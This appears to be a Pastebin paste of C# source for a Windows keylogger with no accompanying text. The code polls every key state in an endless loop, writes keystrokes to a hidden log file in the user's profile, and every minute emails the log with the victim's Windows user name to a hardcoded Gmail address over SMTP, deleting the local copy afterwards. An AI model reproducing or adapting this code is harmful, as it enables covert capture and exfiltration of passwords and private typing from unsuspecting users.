Advertisement
Guest User

Untitled

a guest
Dec 2nd, 2018
146
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 7.47 KB | None | 0 0
  1. using System;
  2. using System.IO;
  3. using System.Net;
  4. using System.Net.Mail;
  5. using System.Runtime.InteropServices;
  6. using System.Security.Principal;
  7. using System.Timers;
  8.  
  9. namespace KeyLogger
  10. {
  11.     class Program
  12.     {
  13.         private String path = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\Log.txt";
  14.  
  15.         [DllImport("user32.dll")]
  16.         public static extern int GetAsyncKeyState(Int32 i);
  17.         static void Main(string[] args)
  18.         {
  19.             new Program().start();
  20.         }
  21.  
  22.         private void start()
  23.         {
  24.             if (File.Exists(path)) File.SetAttributes(path, FileAttributes.Hidden);
  25.             Timer t = new Timer();
  26.             t.Interval = 60000;
  27.             t.Elapsed += sendEmail;
  28.             t.AutoReset = true;
  29.             t.Enabled = true;
  30.  
  31.             while (true)
  32.             {
  33.                 for (int i = 0; i < 255; i++)
  34.                 {
  35.                     int key = GetAsyncKeyState(i);
  36.                     if (key == 1 || key == -32767)
  37.                     {
  38.                         StreamWriter file = new StreamWriter(path, true);
  39.                         File.SetAttributes(path, FileAttributes.Hidden);
  40.                         file.Write(verifyKey(i));
  41.                         file.Close();
  42.                         break;
  43.                     }
  44.                 }
  45.             }
  46.         }
  47.  
  48.         private String verifyKey(int code)
  49.         {
  50.             String key = "";
  51.  
  52.             if (code == 8) key = "[Back]";
  53.             else if (code == 9) key = "[TAB]";
  54.             else if (code == 13) key = "[Enter]";
  55.             else if (code == 19) key = "[Pause]";
  56.             else if (code == 20) key = "[Caps Lock]";
  57.             else if (code == 27) key = "[Esc]";
  58.             else if (code == 32) key = "[Space]";
  59.             else if (code == 33) key = "[Page Up]";
  60.             else if (code == 34) key = "[Page Down]";
  61.             else if (code == 35) key = "[End]";
  62.             else if (code == 36) key = "[Home]";
  63.             else if (code == 37) key = "Left]";
  64.             else if (code == 38) key = "[Up]";
  65.             else if (code == 39) key = "[Right]";
  66.             else if (code == 40) key = "[Down]";
  67.             else if (code == 44) key = "[Print Screen]";
  68.             else if (code == 45) key = "[Insert]";
  69.             else if (code == 46) key = "[Delete]";
  70.             else if (code == 48) key = "0";
  71.             else if (code == 49) key = "1";
  72.             else if (code == 50) key = "2";
  73.             else if (code == 51) key = "3";
  74.             else if (code == 52) key = "4";
  75.             else if (code == 53) key = "5";
  76.             else if (code == 54) key = "6";
  77.             else if (code == 55) key = "7";
  78.             else if (code == 56) key = "8";
  79.             else if (code == 57) key = "9";
  80.             else if (code == 65) key = "a";
  81.             else if (code == 66) key = "b";
  82.             else if (code == 67) key = "c";
  83.             else if (code == 68) key = "d";
  84.             else if (code == 69) key = "e";
  85.             else if (code == 70) key = "f";
  86.             else if (code == 71) key = "g";
  87.             else if (code == 72) key = "h";
  88.             else if (code == 73) key = "i";
  89.             else if (code == 74) key = "j";
  90.             else if (code == 75) key = "k";
  91.             else if (code == 76) key = "l";
  92.             else if (code == 77) key = "m";
  93.             else if (code == 78) key = "n";
  94.             else if (code == 79) key = "o";
  95.             else if (code == 80) key = "p";
  96.             else if (code == 81) key = "q";
  97.             else if (code == 82) key = "r";
  98.             else if (code == 83) key = "s";
  99.             else if (code == 84) key = "t";
  100.             else if (code == 85) key = "u";
  101.             else if (code == 86) key = "v";
  102.             else if (code == 87) key = "w";
  103.             else if (code == 88) key = "x";
  104.             else if (code == 89) key = "y";
  105.             else if (code == 90) key = "z";
  106.             else if (code == 91) key = "[Windows]";
  107.             else if (code == 92) key = "[Windows]";
  108.             else if (code == 93) key = "[List]";
  109.             else if (code == 96) key = "0";
  110.             else if (code == 97) key = "1";
  111.             else if (code == 98) key = "2";
  112.             else if (code == 99) key = "3";
  113.             else if (code == 100) key = "4";
  114.             else if (code == 101) key = "5";
  115.             else if (code == 102) key = "6";
  116.             else if (code == 103) key = "7";
  117.             else if (code == 104) key = "8";
  118.             else if (code == 105) key = "9";
  119.             else if (code == 106) key = "*";
  120.             else if (code == 107) key = "+";
  121.             else if (code == 109) key = "-";
  122.             else if (code == 110) key = ",";
  123.             else if (code == 111) key = "/";
  124.             else if (code == 112) key = "[F1]";
  125.             else if (code == 113) key = "[F2]";
  126.             else if (code == 114) key = "[F3]";
  127.             else if (code == 115) key = "[F4]";
  128.             else if (code == 116) key = "[F5]";
  129.             else if (code == 117) key = "[F6]";
  130.             else if (code == 118) key = "[F7]";
  131.             else if (code == 119) key = "[F8]";
  132.             else if (code == 120) key = "[F9]";
  133.             else if (code == 121) key = "[F10]";
  134.             else if (code == 122) key = "[F11]";
  135.             else if (code == 123) key = "[F12]";
  136.             else if (code == 144) key = "[Num Lock]";
  137.             else if (code == 145) key = "[Scroll Lock]";
  138.             else if (code == 160) key = "[Shift]";
  139.             else if (code == 161) key = "[Shift]";
  140.             else if (code == 162) key = "[Ctrl]";
  141.             else if (code == 163) key = "[Ctrl]";
  142.             else if (code == 164) key = "[Alt]";
  143.             else if (code == 165) key = "[Alt]";
  144.             else if (code == 187) key = "=";
  145.             else if (code == 186) key = "ç";
  146.             else if (code == 188) key = ",";
  147.             else if (code == 189) key = "-";
  148.             else if (code == 190) key = ".";
  149.             else if (code == 192) key = "'";
  150.             else if (code == 191) key = ";";
  151.             else if (code == 193) key = "/";
  152.             else if (code == 194) key = ".";
  153.             else if (code == 219) key = "´";
  154.             else if (code == 220) key = "]";
  155.             else if (code == 221) key = "[";
  156.             else if (code == 222) key = "~";
  157.             else if (code == 226) key = "\\";
  158.             else key = "[" + code + "]";
  159.  
  160.             return key;
  161.         }
  162.  
  163.         private void sendEmail(Object source, ElapsedEventArgs e)
  164.         {
  165.             try
  166.             {
  167.                 MailMessage mail = new MailMessage();
  168.                 SmtpClient server = new SmtpClient("smtp.gmail.com");
  169.  
  170.                 mail.From = new MailAddress("0p.pressive.oldaf@gmail.com");
  171.                 mail.To.Add("0p.pressive.oldaf@gmail.com");
  172.                 mail.Subject = "Log: " + WindowsIdentity.GetCurrent().Name;
  173.  
  174.                 if (!File.Exists(path)) return;
  175.                 StreamReader r = new StreamReader(path);
  176.                 String content = r.ReadLine();
  177.                 r.Close();
  178.                 File.Delete(path);
  179.                 mail.Body = content;
  180.  
  181.                 server.Port = 587;
  182.                 server.Credentials = new NetworkCredential("0p.pressive.oldaf@gmail.com", "MOT DE PASSE SALOPE");
  183.                 server.EnableSsl = true;
  184.                 server.Send(mail);
  185.             }
  186.             catch (Exception ex)
  187.             {
  188.             }
  189.         }
  190.     }
  191. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement